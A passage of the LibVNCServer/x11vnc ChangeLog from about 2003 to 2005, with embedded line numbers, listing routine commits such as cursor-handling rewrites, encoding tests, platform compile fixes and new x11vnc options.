dscho <dscho> 6567 6568 * test/encodingstest.c: fix test (don't show cursor...); correctly 6569 set the encodings in the client; really test 20 seconds 6570 65712005-01-19 dscho <dscho> 6572 6573 * libvncserver/cursor.c: oops, a debug message slipped through 6574 65752005-01-18 dscho <dscho> 6576 6577 * ChangeLog, contrib/zippy.c, examples/example.c, 6578 libvncserver/cursor.c, libvncserver/main.c, 6579 libvncserver/rfbserver.c, libvncserver/selbox.c, rfb/rfb.h, 6580 vncterm/VNConsole.c, x11vnc/x11vnc.c: pointerClient was still 6581 static. do not make requestedRegion empty without reason. the cursor handling for clients which don't handle CursorShape 6582 updates was completely broken. It originally was very complicated 6583 for performance reasons, however, in most cases it made performance 6584 even worse, because at idle times there was way too much checking 6585 going on, and furthermore, sometimes unnecessary updates were 6586 inevitable. The code now is much more elegant: the ClientRec structure knows 6587 exactly where it last painted the cursor, and the ScreenInfo 6588 structure knows where the cursor shall be. As a consequence there is no more rfbDrawCursor()/rfbUndrawCursor(), 6589 no more dontSendFramebufferUpdate, and no more isCursorDrawn. It is 6590 now possible to have clients which understand CursorShape updates 6591 and clients which don't at the same time. rfbSetCursor no longer has the option freeOld; this is obsolete, as 6592 the cursor structure knows what to free and what not. 6593 65942005-01-18 dscho <dscho> 6595 6596 * libvncserver/rfbregion.c, rfb/rfbregion.h: add convenience 6597 function to clip using x2,y2 instead of w,h 6598 65992005-01-18 dscho <dscho> 6600 6601 * test/Makefile.am, test/cursortest.c: add a cursor test 6602 (interactive for now) 6603 66042005-01-18 dscho <dscho> 6605 6606 * VisualNaCro/.cvsignore: more ignorance 6607 66082005-01-17 dscho <dscho> 6609 6610 * index.html: LibVNCClient is included 6611 66122005-01-17 dscho <dscho> 6613 6614 * index.html: alpha cursor and VisualNaCro news 6615 66162005-01-16 dscho <dscho> 6617 6618 * VisualNaCro/.cvsignore: ignore generated files 6619 66202005-01-16 runge <runge> 6621 6622 * ChangeLog, libvncserver/cursor.c, rfb/rfb.h, x11vnc/ChangeLog, 6623 x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, 6624 x11vnc/x11vnc.c: add cursor alphablending to rfb.h cursor.c, x11vnc -alphablend 6625 -snapfb etc.. 6626 66272005-01-14 dscho <dscho> 6628 6629 * VisualNaCro/Makefile.am, VisualNaCro/default8x16.h, 6630 VisualNaCro/nacro.c, VisualNaCro/nacro.h, VisualNaCro/recorder.pl: 6631 fix most TODOs; recorder.pl now actually records something; add 6632 nacro.pm to package 6633 66342005-01-14 dscho <dscho> 6635 6636 * examples/example.c: reverted segfault fix; use rfbDrawCharWithClip 6637 66382005-01-14 dscho <dscho> 6639 6640 * libvncserver/font.c: add comment "if col=bcol, assume background 6641 is transparent" 6642 66432005-01-14 dscho <dscho> 6644 6645 * libvncserver/main.c: fix comment 6646 66472005-01-14 dscho <dscho> 6648 6649 * libvncserver/rfbserver.c: close socket in ClientConnectionGone 6650 66512005-01-14 dscho <dscho> 6652 6653 * configure.ac: new version... 6654 66552005-01-14 dscho <dscho> 6656 6657 * VisualNaCro/AUTHORS, VisualNaCro/ChangeLog, 6658 VisualNaCro/Makefile.am, VisualNaCro/NEWS, VisualNaCro/README, 6659 VisualNaCro/autogen.sh, VisualNaCro/configure.ac, 6660 VisualNaCro/nacro.c, VisualNaCro/nacro.h, VisualNaCro/recorder.pl: 6661 VisualNacro, a visual macro recorder for VNC. Alpha version 6662 66632005-01-14 dscho <dscho> 6664 6665 * libvncserver/main.c, rfb/rfb.h: return value of rfbProcessEvents 6666 tells if an update was pending 6667 66682005-01-14 dscho <dscho> 6669 6670 * libvncserver/font.c: fix segfault when trying to write outside of 6671 frameBuffer 6672 66732005-01-14 dscho <dscho> 6674 6675 * libvncclient/vncviewer.c: argc and argv may be zero (which means 6676 to ignore them) 6677 66782005-01-03 dscho <dscho> 6679 6680 * libvncserver/main.c, libvncserver/rfbserver.c, rfb/rfb.h: add hook 6681 to allow for custom client messages 6682 66832004-12-27 runge <runge> 6684 6685 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, 6686 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: improve XFIXES cursor transparency, more remote-control 6687 cmds. 6688 66892004-12-23 runge <runge> 6690 6691 * x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: need tkx11vnc and tkx11vnc.h in x11vnc package 6692 66932004-12-23 runge <runge> 6694 6695 * x11vnc/Makefile.am: x11vnc: need tkx11vnc and tkx11vnc.h in x11vnc package 6696 66972004-12-23 runge <runge> 6698 6699 * x11vnc/Makefile.am: x11vnc: need tkx11vnc and tkx11vnc.h in x11vnc package 6700 67012004-12-23 runge <runge> 6702 6703 * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, 6704 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, 6705 x11vnc/x11vnc.c: x11vnc: minor tweaks for x11vnc 0.7 file release 6706 67072004-12-20 dscho <dscho> 6708 6709 * index.html: Ooh, I'm lazy. Some news were added retroactively. 6710 67112004-12-20 dscho <dscho> 6712 6713 * ChangeLog, configure.ac, index.html: released 0.7 6714 67152004-12-20 dscho <dscho> 6716 6717 * examples/mac.c: compile fix on mac; still untested... 6718 67192004-12-20 dscho <dscho> 6720 6721 * test/Makefile.am: fix for MinGW 6722 67232004-12-20 runge <runge> 6724 6725 * x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, 6726 x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: minor tweaks for 0.7 file release 6727 67282004-12-20 runge <runge> 6729 6730 * ChangeLog, libvncserver/cursor.c, x11vnc/ChangeLog, 6731 x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, 6732 x11vnc/x11vnc.c: x11vnc: synchronous mode for -remote, string cleanup 6733 67342004-12-17 dscho <dscho> 6735 6736 * libvncserver/cursor.c: don't mix up width & height! 6737 67382004-12-17 runge <runge> 6739 6740 * ChangeLog, test/encodingstest.c, x11vnc/ChangeLog, x11vnc/README, 6741 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, 6742 x11vnc/x11vnc.c: x11vnc: XFIXES cursorshape, XRANDR resize, remote control, gui 6743 67442004-12-01 dscho <dscho> 6745 6746 * rfb/rfb.h: fix compilation on non MinGW32... 6747 67482004-12-01 dscho <dscho> 6749 6750 * ChangeLog, TODO, client_examples/Makefile.am, 6751 client_examples/SDLvncviewer.c, configure.ac, contrib/Makefile.am, 6752 examples/Makefile.am, examples/vncev.c, libvncclient/listen.c, 6753 libvncclient/rfbproto.c, libvncclient/sockets.c, 6754 libvncclient/vncviewer.c, libvncserver-config.in, 6755 libvncserver/httpd.c, libvncserver/main.c, libvncserver/sockets.c, 6756 rfb/rfb.h, rfb/rfbproto.h, test/Makefile.am, vncterm/Makefile.am, 6757 x11vnc/Makefile.am: support MinGW32! 6758 67592004-12-01 dscho <dscho> 6760 6761 * AUTHORS, libvncclient/listen.c, libvncclient/sockets.c, 6762 libvncclient/vncviewer.c: use rfbClientErr to log errors, check if 6763 calloc succeded (both hinted by Andre Leiradella) 6764 67652004-11-30 dscho <dscho> 6766 6767 * ChangeLog, libvncclient/sockets.c: fix long reads (in some events 6768 of success, no TRUE was returned) 6769 67702004-11-30 dscho <dscho> 6771 6772 * rfb/rfbproto.h: add EncodingUltra; it is not implemented in the 6773 libraries yet, so this is just a place holder 6774 67752004-10-16 dscho <dscho> 6776 6777 * TODO: TODOs from encodingstest 6778 67792004-10-16 dscho <dscho> 6780 6781 * test/.cvsignore: tight-1 -> encodingstest 6782 67832004-10-16 dscho <dscho> 6784 6785 * test/Makefile.am, test/encodingstest.c, test/tight-1.c: rename 6786 tight-1.c into encodingstest.c, fixing it in the process. It now 6787 passes all encodings except corre (broken) and zrle (not yet 6788 implemented in libvncclient) 6789 67902004-10-16 dscho <dscho> 6791 6792 * libvncclient/rfbproto.c, libvncclient/sockets.c, 6793 libvncclient/tight.c, libvncclient/vncviewer.c, 6794 libvncclient/zlib.c, rfb/rfbclient.h: move read buffer to rfbClient 6795 structure (thread safety); make rfbClientLog overrideable 6796 67972004-10-15 dscho <dscho> 6798 6799 * test/tight-1.c: compiles, 1st run is okay, 2nd and subsequent give 6800 errors. Evidently, libvncclient is not yet reentrant (or 6801 threadsafe). 6802 68032004-10-15 dscho <dscho> 6804 6805 * libvncclient/vncviewer.c: no need to modify argv 6806 68072004-10-15 dscho <dscho> 6808 6809 * TODO: ideas 6810 68112004-10-15 dscho <dscho> 6812 6813 * test/tight-1.c: compiling, non functional version of a unit test 6814 for encodings 6815 68162004-10-04 dscho <dscho> 6817 6818 * TODO: cursor problem 6819 68202004-10-02 dscho <dscho> 6821 6822 * libvncserver/rfbserver.c: release client list mutex earlier 6823 68242004-09-14 dscho <dscho> 6825 6826 * index.html, success.html: added success stories and link to 6827 x11vnc's home 6828 68292004-09-14 dscho <dscho> 6830 6831 * success.html: add success stories (only one at the moment) 6832 68332004-09-07 dscho <dscho> 6834 6835 * index.html: new API 6836 68372004-09-03 dscho <dscho> 6838 6839 * libvncserver/rfbregion.c: output only via rfbErr 6840 68412004-09-03 dscho <dscho> 6842 6843 * libvncserver-config.in: libvncserver.a is in libvncserver/ now 6844 68452004-09-01 runge <runge> 6846 6847 * ChangeLog, prepare_x11vnc_dist.sh, x11vnc/ChangeLog, 6848 x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: new pointer input handling algorithm; x11vnc pkg installs 6849 java viewer 6850 68512004-08-30 dscho <dscho> 6852 6853 * ChangeLog: API changes 6854 68552004-08-30 dscho <dscho> 6856 6857 * contrib/zippy.c, examples/colourmaptest.c, examples/example.c, 6858 examples/pnmshow.c, examples/pnmshow24.c, examples/storepasswd.c, 6859 examples/vncev.c, libvncclient/rfbproto.c, libvncserver/auth.c, 6860 libvncserver/cargs.c, libvncserver/corre.c, libvncserver/cursor.c, 6861 libvncserver/d3des.c, libvncserver/d3des.h, libvncserver/font.c, 6862 libvncserver/hextile.c, libvncserver/httpd.c, libvncserver/main.c, 6863 libvncserver/rfbserver.c, libvncserver/rre.c, 6864 libvncserver/selbox.c, libvncserver/sockets.c, 6865 libvncserver/stats.c, libvncserver/tight.c, 6866 libvncserver/translate.c, libvncserver/vncauth.c, 6867 libvncserver/zlib.c, libvncserver/zrle.c, rfb/rfb.h, 6868 rfb/rfbproto.h, test/cargstest.c, test/copyrecttest.c, 6869 vncterm/LinuxVNC.c, vncterm/VNConsole.c, vncterm/VNConsole.h, 6870 x11vnc/x11vnc.c: global structures/functions should have "rfb", 6871 "sra" or "zrle" as prefix, while structure members should not 6872 68732004-08-30 dscho <dscho> 6874 6875 * client_examples/Makefile.am: my ffmpeg was compiled with 6876 mp3lame... 6877 68782004-08-30 runge <runge> 6879 6880 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README, 6881 x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -cursor change shape handling, configure.ac: add more 6882 macros for X extensions 6883 68842004-08-17 dscho <dscho> 6885 6886 * index.html: news: QEMU patch v6 6887 68882004-08-15 runge <runge> 6889 6890 * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, 6891 x11vnc/x11vnc.c: x11vnc: -overlay to fix colors with Sun 8+24 overlay visuals. -sid 6892 option. 6893 68942004-08-04 runge <runge> 6895 6896 * x11vnc/README, x11vnc/x11vnc.1: fix XKBlib.h detection on *BSD, x11vnc: manpage and README 6897 68982004-08-04 runge <runge> 6899 6900 * ChangeLog, configure.ac, prepare_x11vnc_dist.sh, 6901 x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/x11vnc.c: fix XKBlib.h detection on *BSD, x11vnc: manpage and README 6902 69032004-07-31 runge <runge> 6904 6905 * x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: adjust version number and output 6906 69072004-07-31 runge <runge> 6908 6909 * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: -cursorpos now the default, fix cursorpos + scaling bug. 6910 69112004-07-29 runge <runge> 6912 6913 * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: -add_keysyms dynamically add missing keysyms to X server 6914 69152004-07-27 runge <runge> 6916 6917 * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: -xkb (XKEYBOARD modtweak), -skip_keycodes, multi lines in 6918 x11vncrc 6919 69202004-07-19 runge <runge> 6921 6922 * x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: ignore keysyms >4 for a keycode, add lastmod to -help, 6923 -version 6924 69252004-07-16 runge <runge> 6926 6927 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/x11vnc.c: modtweak is now the default for x11vnc; check X11/XKBlib.h in 6928 configure.ac 6929 69302004-07-11 runge <runge> 6931 6932 * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: -norepeat to turn off X server autorepeat when clients 6933 exist. 6934 69352004-07-05 runge <runge> 6936 6937 * x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: extend -allow to re-read a file with allowed IP addresses. 6938 69392004-07-02 runge <runge> 6940 6941 * x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: improve scaled grid calc to regain text compression. add 6942 :pad option 6943 69442004-06-30 dscho <dscho> 6945 6946 * libvncclient/vncviewer.c: do not use GNU-only getline 6947 69482004-06-28 runge <runge> 6949 6950 * x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: round scaled width to multiple of 4 to make vncviewer 6951 happy. 6952 69532004-06-27 runge <runge> 6954 6955 * x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: speed up scaling a bit, add no blending option to -scale 6956 69572004-06-26 runge <runge> 6958 6959 * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: add "-scale fraction" for global server-side scaling. 6960 69612004-06-18 dscho <dscho> 6962 6963 * libvncserver/zrleencodetemplate.c, test/tight-1.c, 6964 vncterm/LinuxVNC.c, vncterm/VNCommand.c, vncterm/VNConsole.c, 6965 vncterm/example.c: convert c++ comments to c comments 6966 69672004-06-18 dscho <dscho> 6968 6969 * libvncserver/sockets.c: debug 6970 69712004-06-18 dscho <dscho> 6972 6973 * client_examples/SDLvncviewer.c: cleanups; libvncclient supports 6974 -encodings already 6975 69762004-06-18 dscho <dscho> 6977 6978 * client_examples/vnc2mpg.c: cleanups; support vncrec'orded files as 6979 input 6980 69812004-06-18 dscho <dscho> 6982 6983 * examples/example.c, examples/pnmshow.c, examples/pnmshow24.c: now 6984 that the examples reside in a subdirectory, the classes path has to 6985 be adapted 6986 69872004-06-18 dscho <dscho> 6988 6989 * rfb/rfbclient.h: more comments; support playing vncrec'orded files 6990 69912004-06-18 dscho <dscho> 6992 6993 * libvncclient/rfbproto.c, libvncclient/sockets.c, 6994 libvncclient/vncviewer.c: support password reading with getpass(); 6995 support -play to play vncrec'orded files 6996 69972004-06-17 runge <runge> 6998 6999 * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: simple ~/.x11vncrc config file support, -rc, -norc 7000 70012004-06-15 dscho <dscho> 7002 7003 * TODO: fixed 7004 70052004-06-15 dscho <dscho> 7006 7007 * libvncclient/hextile.c: fix silly hextile bug 7008 70092004-06-15 dscho <dscho> 7010 7011 * libvncclient/rfbproto.c: recognize more encodings 7012 70132004-06-15 dscho <dscho> 7014 7015 * libvncclient/sockets.c: debug 7016 70172004-06-15 dscho <dscho> 7018 7019 * libvncserver/rfbserver.c: fix CoRRE with maxRectsPerUpdate bug 7020 70212004-06-15 dscho <dscho> 7022 7023 * libvncclient/rfbproto.c: fix silly update bug with raw encoding 7024 70252004-06-12 runge <runge> 7026 7027 * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: -clear_mods -clear_keys -storepasswd, add RFB_SERVER_IP 7028 RFB_SERVER_PORT to -accept/-gone 7029 70302004-06-08 dscho <dscho> 7031 7032 * client_examples/Makefile.am, configure.ac: fix compilation on IRIX 7033 70342004-06-08 dscho <dscho> 7035 7036 * configure.ac: fix test for sdl 7037 70382004-06-08 dscho <dscho> 7039 7040 * client_examples/SDLvncviewer.c: fix compilation on MacOSX 7041 70422004-06-07 dscho <dscho> 7043 7044 * index.html: layout and wording fix 7045 70462004-06-07 dscho <dscho> 7047 7048 * index.html: more news 7049 70502004-06-07 dscho <dscho> 7051 7052 * .cvsignore, prepare_x11vnc_dist.sh: now that it is released, 7053 increment x11vnc's version 7054 70552004-06-07 dscho <dscho> 7056 7057 * .cvsignore, client_examples/.cvsignore, libvncclient/.cvsignore, 7058 libvncserver/.cvsignore, test/.cvsignore, x11vnc/.cvsignore: all 7059 this moving and renaming needs changes in the cvsignores, too! 7060 70612004-06-07 dscho <dscho> 7062 7063 * LibVNCServer.spec.in, Makefile.am, libvncserver.spec.in, 7064 prepare_x11vnc_dist.sh: fix bug 968264: make rpm did not work with 7065 x11vnc package 7066 70672004-06-07 dscho <dscho> 7068 7069 * client_examples/Makefile.am, client_examples/vnc2mpg.c, 7070 configure.ac: add vnc2mpg, a program which makes a movie from a VNC 7071 desktop using FFMPEG 7072 70732004-06-07 dscho <dscho> 7074 7075 * TODO, client_examples/SDLvncviewer.c: added -encodings 7076 70772004-06-07 dscho <dscho> 7078 7079 * ChangeLog, TODO, libvncserver/cursor.c, rfb/rfb.h: fix cursor 7080 trails (when not using cursor encoding and moving the cursor, the 7081 redrawn part of the screen didn't get updated, and so left cursor 7082 trails). 7083 70842004-06-07 dscho <dscho> 7085 7086 * client_examples/SDLvncviewer.c: add mouse button handling 7087 70882004-06-07 dscho <dscho> 7089 7090 * ChangeLog, Makefile.am, TODO, client_examples/Makefile.am, 7091 client_examples/SDLvncviewer.c, client_examples/ppmtest.c, 7092 configure.ac, contrib/Makefile.am, examples/Makefile.am, 7093 examples/blooptest.c, examples/copyrecttest.c, 7094 libvncclient/Makefile.am, libvncclient/client_test.c, 7095 libvncclient/sockets.c, libvncclient/vncviewer.c, 7096 libvncserver/Makefile.am, prepare_x11vnc_dist.sh, rfb/rfbclient.h, 7097 test/Makefile.am, test/blooptest.c, test/copyrecttest.c, 7098 test/tight-1.c, x11vnc/Makefile.am: add client_examples/, add 7099 SDLvncviewer, libvncclient API changes, suppress automake CFLAGS 7100 nagging 7101 71022004-06-06 runge <runge> 7103 7104 * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: rearrange file for easier maintenance, add RFB_CLIENT_COUNT 7105 to -accept/-gone 7106 71072004-05-28 runge <runge> 7108 7109 * x11vnc/x11vnc.c: [no log message] 7110 71112004-05-27 runge <runge> 7112 7113 * ChangeLog, libvncserver/main.c, libvncserver/rfbserver.c, 7114 prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: view-only plain passwd: -viewpasswd and 2nd line of 7115 -passwdfile 7116 71172004-05-25 dscho <dscho> 7118 7119 * prepare_x11vnc_dist.sh: a script which automatically converts a 7120 few files to make an x11vnc release 7121 71222004-05-25 dscho <dscho> 7123 7124 * configure.ac: -lvncserver is not default now 7125 71262004-05-25 dscho <dscho> 7127 7128 * ChangeLog, Makefile.am, auth.c, cargs.c, configure.ac, 7129 contrib/ChangeLog, contrib/Makefile.am, contrib/x11vnc.c, corre.c, 7130 cursor.c, cutpaste.c, d3des.c, d3des.h, draw.c, 7131 examples/Makefile.am, examples/regiontest.c, font.c, hextile.c, 7132 httpd.c, libvncclient/rfbproto.c, libvncserver/Makefile.am, 7133 libvncserver/auth.c, libvncserver/cargs.c, libvncserver/config.h, 7134 libvncserver/corre.c, libvncserver/cursor.c, 7135 libvncserver/cutpaste.c, libvncserver/d3des.c, 7136 libvncserver/d3des.h, libvncserver/draw.c, libvncserver/font.c, 7137 libvncserver/hextile.c, libvncserver/httpd.c, libvncserver/main.c, 7138 libvncserver/rfbconfig.h, libvncserver/rfbregion.c, 7139 libvncserver/rfbserver.c, libvncserver/rre.c, 7140 libvncserver/selbox.c, libvncserver/sockets.c, 7141 libvncserver/stats.c, libvncserver/tableinit24.c, 7142 libvncserver/tableinitcmtemplate.c, 7143 libvncserver/tableinittctemplate.c, 7144 libvncserver/tabletrans24template.c, 7145 libvncserver/tabletranstemplate.c, libvncserver/tight.c, 7146 libvncserver/translate.c, libvncserver/vncauth.c, 7147 libvncserver/zlib.c, libvncserver/zrle.c, 7148 libvncserver/zrleencodetemplate.c, libvncserver/zrleoutstream.c, 7149 libvncserver/zrleoutstream.h, libvncserver/zrlepalettehelper.c, 7150 libvncserver/zrlepalettehelper.h, libvncserver/zrletypes.h, main.c, 7151 rfbregion.c, rfbserver.c, rre.c, selbox.c, sockets.c, stats.c, 7152 tableinit24.c, tableinitcmtemplate.c, tableinittctemplate.c, 7153 tabletrans24template.c, tabletranstemplate.c, test/Makefile.am, 7154 tight.c, translate.c, vncauth.c, vncterm/Makefile.am, 7155 x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/x11vnc.c, zlib.c, 7156 zrle.c, zrleencodetemplate.c, zrleoutstream.c, zrleoutstream.h, 7157 zrlepalettehelper.c, zrlepalettehelper.h, zrletypes.h: move the 7158 library into libvncserver/, x11vnc into x11vnc/ 7159 71602004-05-22 runge <runge> 7161 7162 * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c, httpd.c: x11vnc: -gone, -passwdfile, -o logfile; add view-only to -accept 7163 71642004-05-14 runge <runge> 7165 7166 * contrib/x11vnc.c: x11vnc: more -inetd fixes. 7167 71682004-05-14 runge <runge> 7169 7170 * contrib/ChangeLog, contrib/x11vnc.c: x11vnc: less fprintf under -q so '-q -inetd' has no stderr output. 7171 71722004-05-13 runge <runge> 7173 7174 * contrib/ChangeLog, contrib/x11vnc.c: x11vnc: improvements to -accept popup: yes/no buttons and timeout. 7175 71762004-05-08 runge <runge> 7177 7178 * contrib/ChangeLog, contrib/x11vnc.c: x11vnc: clean up -Wall warnings. 7179 71802004-05-08 runge <runge> 7181 7182 * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc: add -accept some-command/xmessage/popup 7183 71842004-05-06 runge <runge> 7185 7186 * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc: mouse -> keystroke and keystroke -> mouse remappings. 7187 71882004-05-05 dscho <dscho> 7189 7190 * rfbserver.c, sockets.c: prevent segmentation fault when requested 7191 area is too big; if select is interrupted while WriteExact, just try 7192 again. 7193 71942004-04-28 runge <runge> 7195 7196 * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc: add -auth, more -cursorpos and -nofb work 7197 71982004-04-20 runge <runge> 7199 7200 * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc: add -cursorpos for Cursor Position Updates, and -sigpipe 7201 72022004-04-19 dscho <dscho> 7203 7204 * main.c: ignore SIGPIPE the correct way 7205 72062004-04-13 runge <runge> 7207 7208 * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc: do not send selection unless all clients are in RFB_NORMAL 7209 state. increase rfbMaxClientWait when threaded to avoid 7210 ReadExact() timeouts for some viewers. 7211 72122004-04-12 dscho <dscho> 7213 7214 * configure.ac: fix compilation without jpeg and a certain autoconf 7215 version 7216 72172004-04-08 runge <runge> 7218 7219 * ChangeLog, configure.ac, contrib/ChangeLog, contrib/x11vnc.c: x11vnc options -blackout, -xinerama, -xwarppointer. check cargs. modify configure.ac to pick up -lXinerama 7220 72212004-03-24 dscho <dscho> 7222 7223 * examples/pnmshow.c: add support for pgm and pbm (8-bit and 1-bit 7224 grayscale images) 7225 72262004-03-22 dscho <dscho> 7227 7228 * ChangeLog, cargs.c, test/Makefile.am, test/cargstest.c: fix 7229 cargs.c: arguments were not correctly purged. 7230 72312004-03-15 dscho <dscho> 7232 7233 * ChangeLog, libvncserver-config.in: fix --link for 7234 libvncserver-config 7235 72362004-03-11 runge <runge> 7237 7238 * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc options -vncconnect, -connect, -remap, -debug_pointer, and -debug_keyboard add reverse connections, keysym remapping, and debug output option 7239 72402004-02-29 dscho <dscho> 7241 7242 * index.html: link to pre.tar.gz, mention valgrind 7243 72442004-02-29 dscho <dscho> 7245 7246 * index.html: update on news 7247 72482004-02-29 dscho <dscho> 7249 7250 * ChangeLog, rfbregion.c: fixed valgrind warning 7251 72522004-02-20 runge <runge> 7253 7254 * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc options -nosel -noprimary -visual. add clipboard/selection handling. add visual option (mostly for testing and workarounds). improve shm cleanup on failures. 7255 72562004-02-04 dscho <dscho> 7257 7258 * AUTHORS, ChangeLog, examples/colourmaptest.c, 7259 examples/copyrecttest.c, examples/example.c, examples/simple.c, 7260 examples/simple15.c, examples/vncev.c: make examples g++ 7261 compileable, thanks to Juan Jose Costello 7262 72632004-01-30 dscho <dscho> 7264 7265 * ChangeLog, rfbserver.c: memory leaks fixed 7266 72672004-01-29 dscho <dscho> 7268 7269 * ChangeLog, Makefile.am, configure.ac, tight.c, zlib.c, zrle.c, 7270 zrleencodetemplate.c, zrleoutstream.c, zrleoutstream.h, 7271 zrlepalettehelper.c, zrlepalettehelper.h: Honour the check for libz, 7272 libjpeg again 7273 72742004-01-21 dscho <dscho> 7275 7276 * ChangeLog, cargs.c, main.c, rfb/rfb.h, rfbserver.c: add 7277 "-progressive height" option to make SendFramebufferUpdate 7278 "preemptive" 7279 72802004-01-21 dscho <dscho> 7281 7282 * ChangeLog: update 7283 72842004-01-21 dscho <dscho> 7285 7286 * examples/.cvsignore: ignore all test programs 7287 72882004-01-21 dscho <dscho> 7289 7290 * examples/Makefile.am, examples/copyrecttest.c: add a simple 7291 example how to use rfbDoCopyRect 7292 72932004-01-21 dscho <dscho> 7294 7295 * main.c, rfb/rfb.h: ignore SIGPIPE by default; it is handled via 7296 EPIPE 7297 72982004-01-21 dscho <dscho> 7299 7300 * cursor.c: do not send unnecessary updated because of cursor 7301 drawing 7302 73032004-01-19 runge <runge> 7304 7305 * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: handle mouse button number mismatch improved pointer input handling during drags, etc. somewhat faster copy_tiles() -> copy_tiles() x11vnc options -buttonmap -old_pointer -old_copytile 7306 73072004-01-19 dscho <dscho> 7308 7309 * configure.ac: 0.6 is out... version is 0.7pre now 7310 73112004-01-19 dscho <dscho> 7312 7313 * vncterm/Makefile.am: inherit CFLAGS 7314 73152004-01-19 dscho <dscho> 7316 7317 * vncterm/VNConsole.c: fix usage of non-existent attribute buffer 7318 73192004-01-16 dscho <dscho> 7320 7321 * ChangeLog, cargs.c, configure.ac, contrib/Makefile.am, 7322 rfbserver.c, vncauth.c: compile fix for cygwin 7323 73242004-01-10 runge <runge> 7325 7326 * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc options -allow, -localhost, -nodragging, -input_skip minimize memory usage under -nofb 7327 73282003-12-09 dscho <dscho> 7329 7330 * libvncclient/hextile.c: fix compilation with Mac OSX: preprocessor 7331 can't do recursive macros 7332 73332003-12-09 runge <runge> 7334 7335 * ChangeLog, configure.ac, contrib/ChangeLog, contrib/x11vnc.c: 7336 x11vnc: XBell events, -nofb, -notruecolor, misc. cleaning 7337 73382003-11-27 dscho <dscho> 7339 7340 * index.html: fixed link 7341 73422003-11-11 dscho <dscho> 7343 7344 * ChangeLog, contrib/x11vnc.c: -inetd, -noshm and friends added 7345 73462003-11-07 dscho <dscho> 7347 7348 * ChangeLog, README.cvs, configure.ac: release 0.6 7349 73502003-10-08 dscho <dscho> 7351 7352 * zrle.c: fix gcc 2.x compilation: no C99 7353 73542003-09-11 markmc <markmc> 7355 7356 * ChangeLog, Makefile.in, aclocal.m4, bootstrap.sh, 7357 classes/.cvsignore, classes/Makefile.in, config.h.in, configure, 7358 contrib/Makefile.in, depcomp, examples/Makefile.in, install-sh, 7359 libvncclient/Makefile.in, missing, mkinstalldirs, test/.cvsignore, 7360 test/Makefile.in, vncterm/Makefile.in: 2002-09-11 Mark McLoughlin 7361 <mark@skynet.ie> * Makefile.in, */Makefile.in, aclocal.m4, bootstrap.sh, config.h.in, configure, depcomp, install-sh, missing, mkinstalldirs, Removed auto-generated files from CVS. 7362 73632003-09-11 markmc <markmc> 7364 7365 * ChangeLog, NEWS, rdr/Exception.h, rdr/FdInStream.cxx, 7366 rdr/FdInStream.h, rdr/FdOutStream.cxx, rdr/FdOutStream.h, 7367 rdr/FixedMemOutStream.h, rdr/InStream.cxx, rdr/InStream.h, 7368 rdr/MemInStream.h, rdr/MemOutStream.h, rdr/NullOutStream.cxx, 7369 rdr/NullOutStream.h, rdr/OutStream.h, rdr/ZlibInStream.cxx, 7370 rdr/ZlibInStream.h, rdr/ZlibOutStream.cxx, rdr/ZlibOutStream.h, 7371 rdr/types.h, zrle.cxx, zrleDecode.h, zrleEncode.h: 2003-09-11 Mark 7372 McLoughlin <mark@skynet.ie> * rdr/Exception.h, rdr/FdInStream.cxx, rdr/FdInStream.h, rdr/FdOutStream.cxx, rdr/FdOutStream.h, 7373 rdr/FixedMemOutStream.h, rdr/InStream.cxx, rdr/InStream.h, 7374 rdr/MemInStream.h, rdr/MemOutStream.h, rdr/NullOutStream.cxx, 7375 rdr/NullOutStream.h, rdr/OutStream.h, rdr/ZlibInStream.cxx, 7376 rdr/ZlibInStream.h, rdr/ZlibOutStream.cxx, rdr/ZlibOutStream.h, 7377 rdr/types.h, 